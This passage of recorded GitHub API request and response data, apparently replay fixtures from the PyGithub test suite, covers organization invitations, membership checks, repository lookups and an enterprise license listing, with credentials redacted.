('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'ADB4:057F:44AD24:4B0F03:61651DF0')] [] https POST api.github.com None /orgs/TestOrganization2072/invitations {'Accept': 'application/vnd.github.dazzler-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"email": "foo@bar.org"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 12 Oct 2021 05:32:33 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1203'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"fd548c290791934f62fbc9f7bb04ed6a0af779377f3aa5122e0460ef20d75725"'), ('X-OAuth-Scopes', 'admin:org, admin:org_hook'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('github-authentication-token-expiration', '2021-10-18 05:11:21 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=dazzler-preview; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4975'), ('X-RateLimit-Reset', '1634019426'), ('X-RateLimit-Used', '25'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'ADB6:057A:39FF:65433:61651DF0')] {"id":28984230,"node_id":"OI_kwDOBYA30M4BukOm","login":null,"email":"foo@bar.org","role":"direct_member","created_at":"2021-10-12T05:32:33Z","inviter":{"login":"jsimpso","id":10970100,"node_id":"MDQ6VXNlcjEwOTcwMTAw","avatar_url":"https://avatars.githubusercontent.com/u/10970100?u=303b0ceb6458644496499b0031b67badce03d5e4&v=4","gravatar_id":"","url":"https://api.github.com/users/jsimpso","html_url":"https://github.com/jsimpso","followers_url":"https://api.github.com/users/jsimpso/followers","following_url":"https://api.github.com/users/jsimpso/following{/other_user}","gists_url":"https://api.github.com/users/jsimpso/gists{/gist_id}","starred_url":"https://api.github.com/users/jsimpso/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jsimpso/subscriptions","organizations_url":"https://api.github.com/users/jsimpso/orgs","repos_url":"https://api.github.com/users/jsimpso/repos","events_url":"https://api.github.com/users/jsimpso/events{/privacy}","received_events_url":"https://api.github.com/users/jsimpso/received_events","type":"User","site_admin":false},"team_count":0,"invitation_teams_url":"https://api.github.com/organizations/92288976/invitations/28984230/teams"} https GET api.github.com None /orgs/TestOrganization2072/invitations {'Accept': 'application/vnd.github.dazzler-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 12 Oct 2021 05:32:33 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"da2a9a62ed895da63af620e18d93b07f09c1511c7f08df957a1bbe33ba67ed7c"'), ('X-OAuth-Scopes', 'admin:org, admin:org_hook'), ('X-Accepted-OAuth-Scopes', 'admin:org, repo'), ('github-authentication-token-expiration', '2021-10-18 05:11:21 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=dazzler-preview; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4974'), ('X-RateLimit-Reset', '1634019426'), ('X-RateLimit-Used', '26'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ADB8:4907:F9EFD9:10E5C87:61651DF1')] [{"id":28984230,"node_id":"OI_kwDOBYA30M4BukOm","login":null,"email":"foo@bar.org","role":"direct_member","created_at":"2021-10-12T13:32:33.000+08:00","failed_at":null,"failed_reason":null,"inviter":{"login":"jsimpso","id":10970100,"node_id":"MDQ6VXNlcjEwOTcwMTAw","avatar_url":"https://avatars.githubusercontent.com/u/10970100?v=4","gravatar_id":"","url":"https://api.github.com/users/jsimpso","html_url":"https://github.com/jsimpso","followers_url":"https://api.github.com/users/jsimpso/followers","following_url":"https://api.github.com/users/jsimpso/following{/other_user}","gists_url":"https://api.github.com/users/jsimpso/gists{/gist_id}","starred_url":"https://api.github.com/users/jsimpso/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jsimpso/subscriptions","organizations_url":"https://api.github.com/users/jsimpso/orgs","repos_url":"https://api.github.com/users/jsimpso/repos","events_url":"https://api.github.com/users/jsimpso/events{/privacy}","received_events_url":"https://api.github.com/users/jsimpso/received_events","type":"User","site_admin":false},"team_count":0,"invitation_teams_url":"https://api.github.com/organizations/92288976/invitations/28984230/teams"}] https GET api.github.com None /orgs/TestOrganization2072/invitations {'Accept': 'application/vnd.github.dazzler-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 12 Oct 2021 05:32:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"da2a9a62ed895da63af620e18d93b07f09c1511c7f08df957a1bbe33ba67ed7c"'), ('X-OAuth-Scopes', 'admin:org, admin:org_hook'), ('X-Accepted-OAuth-Scopes', 'admin:org, repo'), ('github-authentication-token-expiration', '2021-10-18 05:11:21 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=dazzler-preview; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4973'), ('X-RateLimit-Reset', '1634019426'), ('X-RateLimit-Used', '27'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ADBA:4906:3B6198:4F41C8:61651DF2')] [{"id":28984230,"node_id":"OI_kwDOBYA30M4BukOm","login":null,"email":"foo@bar.org","role":"direct_member","created_at":"2021-10-12T13:32:33.000+08:00","failed_at":null,"failed_reason":null,"inviter":{"login":"jsimpso","id":10970100,"node_id":"MDQ6VXNlcjEwOTcwMTAw","avatar_url":"https://avatars.githubusercontent.com/u/10970100?v=4","gravatar_id":"","url":"https://api.github.com/users/jsimpso","html_url":"https://github.com/jsimpso","followers_url":"https://api.github.com/users/jsimpso/followers","following_url":"https://api.github.com/users/jsimpso/following{/other_user}","gists_url":"https://api.github.com/users/jsimpso/gists{/gist_id}","starred_url":"https://api.github.com/users/jsimpso/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jsimpso/subscriptions","organizations_url":"https://api.github.com/users/jsimpso/orgs","repos_url":"https://api.github.com/users/jsimpso/repos","events_url":"https://api.github.com/users/jsimpso/events{/privacy}","received_events_url":"https://api.github.com/users/jsimpso/received_events","type":"User","site_admin":false},"team_count":0,"invitation_teams_url":"https://api.github.com/organizations/92288976/invitations/28984230/teams"}] https DELETE api.github.com None /orgs/TestOrganization2072/invitations/28984230 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Tue, 12 Oct 2021 05:32:34 GMT'), ('X-OAuth-Scopes', 'admin:org, admin:org_hook'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('github-authentication-token-expiration', '2021-10-18 05:11:21 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4972'), ('X-RateLimit-Reset', '1634019426'), ('X-RateLimit-Used', '28'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'ADBC:057F:44AD76:4B0F5B:61651DF2')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/OrganizationHasInMembers.setUp.txt0000644000175100001660000001353114756101563024723 0ustar00runnerdockerhttps GET api.github.com None /users/meneal {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '1108'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', 'bae57931a6fe678a3dffe9be8e7819c8'), ('x-oauth-scopes', 'read:org'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"ae36cb79aa9c9620550a90dd1f06225f"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4957'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'D07B:2C92:3D5858:4DFE0B:588022F4'), ('last-modified', 'Sun, 15 Jan 2017 20:57:11 GMT'), ('date', 'Thu, 19 Jan 2017 02:22:44 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1484795009')] {"login":"meneal","id":3112188,"avatar_url":"https://avatars.githubusercontent.com/u/3112188?v=3","gravatar_id":"","url":"https://api.github.com/users/meneal","html_url":"https://github.com/meneal","followers_url":"https://api.github.com/users/meneal/followers","following_url":"https://api.github.com/users/meneal/following{/other_user}","gists_url":"https://api.github.com/users/meneal/gists{/gist_id}","starred_url":"https://api.github.com/users/meneal/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/meneal/subscriptions","organizations_url":"https://api.github.com/users/meneal/orgs","repos_url":"https://api.github.com/users/meneal/repos","events_url":"https://api.github.com/users/meneal/events{/privacy}","received_events_url":"https://api.github.com/users/meneal/received_events","type":"User","site_admin":false,"name":"Matthew Neal","company":null,"blog":"www.meneal.com","location":"Durham, NC","email":null,"hireable":null,"bio":null,"public_repos":20,"public_gists":2,"followers":3,"following":0,"created_at":"2012-12-23T22:59:34Z","updated_at":"2017-01-15T20:57:11Z"} https GET api.github.com None /orgs/RobotWithFeelings {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '1045'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '0e17b94a265a427d9cafe798ceea7c02'), ('x-oauth-scopes', 'read:org'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', 'admin:org, read:org, repo, user, write:org'), ('etag', '"1176a1fa957a3165fd5429709efa0093"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4956'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'D07C:2C92:3D5865:4DFE1C:588022F4'), ('last-modified', 'Tue, 12 Jan 2016 22:38:04 GMT'), ('date', 'Thu, 19 Jan 2017 02:22:44 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1484795009')] {"login":"RobotWithFeelings","id":16672883,"url":"https://api.github.com/orgs/RobotWithFeelings","repos_url":"https://api.github.com/orgs/RobotWithFeelings/repos","events_url":"https://api.github.com/orgs/RobotWithFeelings/events","hooks_url":"https://api.github.com/orgs/RobotWithFeelings/hooks","issues_url":"https://api.github.com/orgs/RobotWithFeelings/issues","members_url":"https://api.github.com/orgs/RobotWithFeelings/members{/member}","public_members_url":"https://api.github.com/orgs/RobotWithFeelings/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/16672883?v=3","description":null,"public_repos":3,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/RobotWithFeelings","created_at":"2016-01-12T19:23:54Z","updated_at":"2016-01-12T22:38:04Z","type":"Organization","total_private_repos":0,"owned_private_repos":0,"private_gists":null,"disk_usage":null,"collaborators":null,"billing_email":null,"plan":{"name":"free","space":976562499,"private_repos":0,"filled_seats":4,"seats":0}} https GET api.github.com None /orgs/RobotWithFeelings/members/meneal {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4955'), ('x-github-media-type', 'github.v3; format=json'), ('x-content-type-options', 'nosniff'), ('content-security-policy', "default-src 'none'"), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'D07D:2C93:7811EA:988FEE:588022F4'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('access-control-allow-origin', '*'), ('x-ratelimit-limit', '5000'), ('x-xss-protection', '1; mode=block'), ('x-served-by', 'd0b3c2c33a23690498aa8e70a435a259'), ('date', 'Thu, 19 Jan 2017 02:22:44 GMT'), ('x-frame-options', 'deny'), ('x-oauth-scopes', 'read:org'), ('x-accepted-oauth-scopes', 'read:org, repo, user'), ('x-ratelimit-reset', '1484795009')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PaginatedList.setUp.txt0000644000175100001660000006243714756101563022562 0ustar00runnerdockerhttps GET api.github.com None /users/openframeworks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4929'), ('content-length', '564'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"cddd0710dc9490553aecd937e15d1136"'), ('date', 'Tue, 29 May 2012 19:36:56 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","hireable":false,"url":"https://api.github.com/users/openframeworks","html_url":"https://github.com/openframeworks","public_gists":0,"blog":null,"bio":null,"public_repos":12,"company":null,"gravatar_id":"a858611b044a8302ab14cfe752e17369","login":"openframeworks","email":"","followers":399,"name":null,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","created_at":"2009-10-21T21:54:37Z","location":null,"id":142866,"following":4} https GET api.github.com None /repos/openframeworks/openFrameworks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4928'), ('content-length', '1253'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e7459f63683768d5b53fc4b246d13a10"'), ('date', 'Tue, 29 May 2012 19:36:56 GMT'), ('content-type', 'application/json; charset=utf-8')] {"clone_url":"https://github.com/openframeworks/openFrameworks.git","has_downloads":true,"watchers":1745,"updated_at":"2012-05-29T19:23:07Z","permissions":{"pull":true,"admin":false,"push":false},"homepage":"http://openframeworks.cc","url":"https://api.github.com/repos/openframeworks/openFrameworks","html_url":"https://github.com/openframeworks/openFrameworks","has_wiki":true,"has_issues":true,"fork":false,"forks":349,"size":4232,"git_url":"git://github.com/openframeworks/openFrameworks.git","private":false,"open_issues":333,"svn_url":"https://github.com/openframeworks/openFrameworks","owner":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","login":"openframeworks","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142866},"name":"openFrameworks","mirror_url":null,"language":"C","description":"OpenFrameworks is a cross platform open source toolkit for creative coding in C++.","ssh_url":"git@github.com:openframeworks/openFrameworks.git","pushed_at":"2012-05-29T19:23:07Z","created_at":"2009-10-21T21:55:54Z","id":345337,"full_name":"openframeworks/openFrameworks"} https GET api.github.com None /enterprises/beaver-group/consumed-licenses {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 27 Jul 2023 05:18:48 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"cec25a870aded5f7c26c9e549d31f9b91d887121b0f77b72446fe2f4a8eaf6d2"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'admin:enterprise, manage_billing:enterprise, read:enterprise'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4829'), ('X-RateLimit-Reset', '1690436729'), ('X-RateLimit-Used', '171'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F8E3:4B9F:2EB3A7:310B95:64C1FE38')] {"total_seats_consumed":102,"total_seats_purchased":103,"users":[{"github_com_login":"beaver-user001","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user001","github_com_member_roles":["beaver-admin-dev:Owner","beaver-external:Owner","beaver-general:Owner","beaver-training:Owner","beaver:Owner"],"github_com_enterprise_roles":["Owner","Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user002","github_com_name":"beaver-user002","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user002","github_com_member_roles":[],"github_com_enterprise_roles":["Pending outside collaborator invitation"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user003","github_com_name":"beaver-user003","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user003","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user003@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user004","github_com_name":"beaver-user004","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user004","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user005","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user005","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user006","github_com_name":"beaver-user006","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user006","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user007","github_com_name":"beaver-user007","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user007","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user008","github_com_name":"beaver-user008","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user008","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user009","github_com_name":"beaver-user009","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user009","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user010","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user010","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user011","github_com_name":"beaver-user011","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user011","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator","Pending outside collaborator invitation"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user012","github_com_name":"beaver-user012","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user012","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user013","github_com_name":"beaver-user013","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user013","github_com_member_roles":["beaver-admin-dev:Owner","beaver-external:Owner","beaver-general:Owner","beaver-training:Owner","beaver:Owner"],"github_com_enterprise_roles":["Owner","Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user013@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user014","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user014","github_com_member_roles":[],"github_com_enterprise_roles":["Outside 